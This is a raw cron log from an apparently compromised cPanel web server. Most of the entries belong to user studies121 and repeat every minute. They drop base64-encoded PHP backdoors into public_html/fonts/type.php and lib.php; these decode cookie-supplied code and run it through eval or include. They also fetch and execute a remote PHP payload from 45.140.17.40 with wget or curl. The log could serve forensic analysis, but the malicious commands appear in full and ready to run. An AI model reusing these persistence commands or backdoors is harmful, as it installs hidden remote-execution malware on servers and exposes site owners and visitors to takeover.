Sep  4 10:22:01 ip-184-168-122-23 CROND[5442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:22:01 ip-184-168-122-23 CROND[5443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:22:01 ip-184-168-122-23 CROND[5444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:23:02 ip-184-168-122-23 CROND[5538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:23:02 ip-184-168-122-23 CROND[5540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:23:02 ip-184-168-122-23 CROND[5539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:23:02 ip-184-168-122-23 CROND[5541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:24:01 ip-184-168-122-23 CROND[5674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:24:01 ip-184-168-122-23 CROND[5673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:24:01 ip-184-168-122-23 CROND[5678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:24:01 ip-184-168-122-23 CROND[5679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:24:01 ip-184-168-122-23 CROND[5680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5849]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:25:01 ip-184-168-122-23 CROND[5853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:25:01 ip-184-168-122-23 CROND[5854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:26:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:26:01 ip-184-168-122-23 CROND[5983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:26:01 ip-184-168-122-23 CROND[5984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:26:01 ip-184-168-122-23 CROND[5986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:26:01 ip-184-168-122-23 CROND[5987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:27:01 ip-184-168-122-23 CROND[6137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:27:01 ip-184-168-122-23 CROND[6139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:27:01 ip-184-168-122-23 CROND[6138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:27:01 ip-184-168-122-23 CROND[6140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:28:01 ip-184-168-122-23 CROND[6293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:28:02 ip-184-168-122-23 CROND[6294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:28:02 ip-184-168-122-23 CROND[6295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:28:02 ip-184-168-122-23 CROND[6296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:28:02 ip-184-168-122-23 CROND[6297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:29:01 ip-184-168-122-23 CROND[6473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:29:01 ip-184-168-122-23 CROND[6474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:29:01 ip-184-168-122-23 CROND[6475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:29:01 ip-184-168-122-23 CROND[6476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:30:01 ip-184-168-122-23 CROND[6598]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:30:01 ip-184-168-122-23 CROND[6601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:30:01 ip-184-168-122-23 CROND[6594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:31:01 ip-184-168-122-23 CROND[6738]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:31:01 ip-184-168-122-23 CROND[6737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:31:01 ip-184-168-122-23 CROND[6739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:31:01 ip-184-168-122-23 CROND[6741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:31:01 ip-184-168-122-23 CROND[6740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:32:02 ip-184-168-122-23 CROND[6859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:32:02 ip-184-168-122-23 CROND[6861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:32:02 ip-184-168-122-23 CROND[6864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:32:02 ip-184-168-122-23 CROND[6862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:32:02 ip-184-168-122-23 CROND[6863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:33:01 ip-184-168-122-23 CROND[7001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:33:01 ip-184-168-122-23 CROND[7002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:33:01 ip-184-168-122-23 CROND[7006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:33:01 ip-184-168-122-23 CROND[7005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:34:02 ip-184-168-122-23 CROND[7185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:34:02 ip-184-168-122-23 CROND[7184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
